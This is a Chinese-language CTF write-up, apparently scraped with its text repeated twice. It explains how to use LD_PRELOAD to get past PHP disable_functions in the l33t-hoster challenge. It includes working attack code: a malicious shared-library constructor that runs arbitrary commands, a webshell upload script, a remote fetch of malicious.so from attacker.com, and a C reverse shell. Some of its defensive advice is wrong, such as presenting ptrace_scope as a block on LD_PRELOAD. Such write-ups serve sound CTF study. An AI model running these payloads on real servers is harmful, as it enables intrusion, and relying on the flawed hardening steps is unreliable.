LD_PRELOAD 技术实战从原理到 PHP disable_functions 绕过1. 动态链接与 LD_PRELOAD 机制解析在 Linux 系统中动态链接器负责在程序运行时加载所需的共享库。当程序调用某个函数时系统会按照特定顺序搜索这些库以找到对应的函数实现。LD_PRELOAD 环境变量允许我们在其他库之前加载自定义的共享库从而实现对系统函数的覆盖。动态链接库加载的典型优先级顺序为LD_PRELOAD 指定的库LD_LIBRARY_PATH 指定的目录中的库/etc/ld.so.cache 中缓存的库默认系统库路径/lib、/usr/lib等这种机制最初设计用于调试和性能优化但安全研究人员很快发现它可以用于更广泛的场景。例如// 示例简单的 LD_PRELOAD 劫持 #include stdio.h #include unistd.h uid_t getuid(void) { printf(Hooked getuid() called!\n); return 0; }编译为共享库后通过LD_PRELOAD./hack.so program运行任何调用 getuid() 的程序都会执行我们的自定义版本。2. PHP disable_functions 限制与突破思路PHP 的 disable_functions 配置项用于禁用可能危险的函数常见被禁用的包括system(),exec(),shell_exec()等命令执行函数passthru(),proc_open(),pcntl_exec()等进程控制函数dl()等动态加载函数当这些函数被禁用时传统的命令执行方法失效。但 LD_PRELOAD 提供了一种间接执行系统命令的途径找到一个仍可用的 PHP 函数它能启动外部进程通过该函数触发 LD_PRELOAD 加载我们的恶意库在库的初始化代码中执行任意命令常见的可用函数包括mail()内部会调用 /usr/sbin/sendmailimap_open()可能调用外部处理程序error_log()与 mail() 类似3. 实战l33t-hoster CTF 题解3.1 环境侦察与初始访问首先通过文件上传漏洞获取 webshell 访问权限。使用蚁剑连接后发现关键限制// 模拟的 disable_functions 配置 disable_functions system,exec,shell_exec,passthru,proc_open,pcntl_exec,dl尝试直接读取/flag失败发现需要通过执行/get_flag程序获取 flag。3.2 准备 bypass_disablefunc 工具使用现成的 bypass_disablefunc 工具包主要包含bypass_disablefunc.phpWeb 接口bypass_disablefunc_x64.so恶意共享库64位文件上传方法Python示例import requests url http://target/upload.php files { file: (bypass_disablefunc.php, open(bypass_disablefunc.php, rb)) } data { action: move_uploaded_file($_FILES[file][tmp_name], /var/www/html/bypass.php) } r requests.post(url, filesfiles, datadata) print(r.text)3.3 绕过执行限制上传成功后通过以下方式调用/bypass.php?cmd/get_flagoutpath/tmp/outputsopath/var/www/html/bypass_disablefunc_x64.so参数说明cmd要执行的命令outpath命令输出保存路径sopath恶意 so 文件路径3.4 处理交互式挑战发现/get_flag需要解答 CAPTCHA使用 Perl 脚本处理#!/usr/bin/perl use IPC::Open2; $| 1; my $pid open2(\*OUT, \*IN, /get_flag); my $question OUT; my $answer eval($question); print IN $answer\n; print OUT;上传并最终执行/bypass.php?cmdperl/var/www/html/solve.ploutpath/tmp/outsopath/var/www/html/bypass_disablefunc_x64.so4. 技术原理深度分析4.1 bypass_disablefunc 工作流程PHP 脚本设置EVIL_CMDLINE环境变量包含要执行的命令设置LD_PRELOAD指向恶意 so 文件调用mail()触发 sendmail 进程启动sendmail 加载我们的 so 文件执行构造函数代码关键 so 文件代码__attribute__ ((__constructor__)) void preload() { unsetenv(LD_PRELOAD); system(getenv(EVIL_CMDLINE)); }4.2 为什么 mail() 能触发strace跟踪显示 mail() 的执行路径execve(/usr/bin/php, [php, test.php], 0x7ffd689f9f80 /* 23 vars */) ... execve(/usr/sbin/sendmail, [/usr/sbin/sendmail, -t, -i], 0x55a9b4c622e0 /* 23 vars */)正是这个 execve() 调用使得 LD_PRELOAD 生效。5. 防御与检测方案5.1 系统级防护限制危险环境变量# /etc/sudoers 示例 Defaults env_reset Defaults env_keep - LD_PRELOAD使用内核安全模块# 防止非特权用户使用 LD_PRELOAD sysctl -w kernel.yama.ptrace_scope2文件系统防护# 限制 Web 目录执行权限 chattr i /var/www/html/uploads/5.2 PHP 配置加固禁用危险函数disable_functions putenv,mail,error_log,imap_open,dl限制 PHP 执行权限open_basedir /var/www/html:/tmp使用 PHP-FPM 池隔离; php-fpm.conf [www] listen.owner www-data listen.group www-data listen.mode 06606. 高级技巧与变种6.1 无文件攻击技术通过内存加载 so 文件避免上传$so_content file_get_contents(http://attacker.com/malicious.so); file_put_contents(/proc/self/fd/3, $so_content); putenv(LD_PRELOAD/proc/self/fd/3); mail(,,,);6.2 替代触发函数当 mail() 被禁用时可尝试// 方法1使用 error_log putenv(LD_PRELOAD./evil.so); error_log(, 1, ); // 方法2使用 ImageMagick putenv(LD_PRELOAD./evil.so); new Imagick(input.jpg);6.3 隐蔽通信技术在 so 文件中实现反向 shellvoid _init() { int sock socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr { .sin_family AF_INET, .sin_port htons(443), .sin_addr.s_addr inet_addr(192.168.1.100) }; connect(sock, (struct sockaddr*)addr, sizeof(addr)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve(/bin/sh, NULL, NULL); }7. 总结与思考LD_PRELOAD 技术展示了 Linux 动态链接系统的灵活性也暴露了安全边界的重要性。防御这类攻击需要多层防护最小权限原则Web 用户应具有尽可能少的权限深度防御结合系统加固、应用配置和安全监控及时更新修复已知漏洞减少攻击面对于 CTF 选手和安全研究人员理解这些底层机制不仅能解决比赛挑战更能深入理解系统安全原理。建议进一步研究ELF 文件格式与动态链接过程Linux 进程创建与权限模型现代 Web 应用沙箱技术
LD_PRELOAD 绕过 PHP disable_functions 实战:l33t-hoster CTF 题 3 步获取 flag
发布时间:2026/7/8 4:03:41
LD_PRELOAD 技术实战从原理到 PHP disable_functions 绕过1. 动态链接与 LD_PRELOAD 机制解析在 Linux 系统中动态链接器负责在程序运行时加载所需的共享库。当程序调用某个函数时系统会按照特定顺序搜索这些库以找到对应的函数实现。LD_PRELOAD 环境变量允许我们在其他库之前加载自定义的共享库从而实现对系统函数的覆盖。动态链接库加载的典型优先级顺序为LD_PRELOAD 指定的库LD_LIBRARY_PATH 指定的目录中的库/etc/ld.so.cache 中缓存的库默认系统库路径/lib、/usr/lib等这种机制最初设计用于调试和性能优化但安全研究人员很快发现它可以用于更广泛的场景。例如// 示例简单的 LD_PRELOAD 劫持 #include stdio.h #include unistd.h uid_t getuid(void) { printf(Hooked getuid() called!\n); return 0; }编译为共享库后通过LD_PRELOAD./hack.so program运行任何调用 getuid() 的程序都会执行我们的自定义版本。2. PHP disable_functions 限制与突破思路PHP 的 disable_functions 配置项用于禁用可能危险的函数常见被禁用的包括system(),exec(),shell_exec()等命令执行函数passthru(),proc_open(),pcntl_exec()等进程控制函数dl()等动态加载函数当这些函数被禁用时传统的命令执行方法失效。但 LD_PRELOAD 提供了一种间接执行系统命令的途径找到一个仍可用的 PHP 函数它能启动外部进程通过该函数触发 LD_PRELOAD 加载我们的恶意库在库的初始化代码中执行任意命令常见的可用函数包括mail()内部会调用 /usr/sbin/sendmailimap_open()可能调用外部处理程序error_log()与 mail() 类似3. 实战l33t-hoster CTF 题解3.1 环境侦察与初始访问首先通过文件上传漏洞获取 webshell 访问权限。使用蚁剑连接后发现关键限制// 模拟的 disable_functions 配置 disable_functions system,exec,shell_exec,passthru,proc_open,pcntl_exec,dl尝试直接读取/flag失败发现需要通过执行/get_flag程序获取 flag。3.2 准备 bypass_disablefunc 工具使用现成的 bypass_disablefunc 工具包主要包含bypass_disablefunc.phpWeb 接口bypass_disablefunc_x64.so恶意共享库64位文件上传方法Python示例import requests url http://target/upload.php files { file: (bypass_disablefunc.php, open(bypass_disablefunc.php, rb)) } data { action: move_uploaded_file($_FILES[file][tmp_name], /var/www/html/bypass.php) } r requests.post(url, filesfiles, datadata) print(r.text)3.3 绕过执行限制上传成功后通过以下方式调用/bypass.php?cmd/get_flagoutpath/tmp/outputsopath/var/www/html/bypass_disablefunc_x64.so参数说明cmd要执行的命令outpath命令输出保存路径sopath恶意 so 文件路径3.4 处理交互式挑战发现/get_flag需要解答 CAPTCHA使用 Perl 脚本处理#!/usr/bin/perl use IPC::Open2; $| 1; my $pid open2(\*OUT, \*IN, /get_flag); my $question OUT; my $answer eval($question); print IN $answer\n; print OUT;上传并最终执行/bypass.php?cmdperl/var/www/html/solve.ploutpath/tmp/outsopath/var/www/html/bypass_disablefunc_x64.so4. 技术原理深度分析4.1 bypass_disablefunc 工作流程PHP 脚本设置EVIL_CMDLINE环境变量包含要执行的命令设置LD_PRELOAD指向恶意 so 文件调用mail()触发 sendmail 进程启动sendmail 加载我们的 so 文件执行构造函数代码关键 so 文件代码__attribute__ ((__constructor__)) void preload() { unsetenv(LD_PRELOAD); system(getenv(EVIL_CMDLINE)); }4.2 为什么 mail() 能触发strace跟踪显示 mail() 的执行路径execve(/usr/bin/php, [php, test.php], 0x7ffd689f9f80 /* 23 vars */) ... execve(/usr/sbin/sendmail, [/usr/sbin/sendmail, -t, -i], 0x55a9b4c622e0 /* 23 vars */)正是这个 execve() 调用使得 LD_PRELOAD 生效。5. 防御与检测方案5.1 系统级防护限制危险环境变量# /etc/sudoers 示例 Defaults env_reset Defaults env_keep - LD_PRELOAD使用内核安全模块# 防止非特权用户使用 LD_PRELOAD sysctl -w kernel.yama.ptrace_scope2文件系统防护# 限制 Web 目录执行权限 chattr i /var/www/html/uploads/5.2 PHP 配置加固禁用危险函数disable_functions putenv,mail,error_log,imap_open,dl限制 PHP 执行权限open_basedir /var/www/html:/tmp使用 PHP-FPM 池隔离; php-fpm.conf [www] listen.owner www-data listen.group www-data listen.mode 06606. 高级技巧与变种6.1 无文件攻击技术通过内存加载 so 文件避免上传$so_content file_get_contents(http://attacker.com/malicious.so); file_put_contents(/proc/self/fd/3, $so_content); putenv(LD_PRELOAD/proc/self/fd/3); mail(,,,);6.2 替代触发函数当 mail() 被禁用时可尝试// 方法1使用 error_log putenv(LD_PRELOAD./evil.so); error_log(, 1, ); // 方法2使用 ImageMagick putenv(LD_PRELOAD./evil.so); new Imagick(input.jpg);6.3 隐蔽通信技术在 so 文件中实现反向 shellvoid _init() { int sock socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr { .sin_family AF_INET, .sin_port htons(443), .sin_addr.s_addr inet_addr(192.168.1.100) }; connect(sock, (struct sockaddr*)addr, sizeof(addr)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve(/bin/sh, NULL, NULL); }7. 总结与思考LD_PRELOAD 技术展示了 Linux 动态链接系统的灵活性也暴露了安全边界的重要性。防御这类攻击需要多层防护最小权限原则Web 用户应具有尽可能少的权限深度防御结合系统加固、应用配置和安全监控及时更新修复已知漏洞减少攻击面对于 CTF 选手和安全研究人员理解这些底层机制不仅能解决比赛挑战更能深入理解系统安全原理。建议进一步研究ELF 文件格式与动态链接过程Linux 进程创建与权限模型现代 Web 应用沙箱技术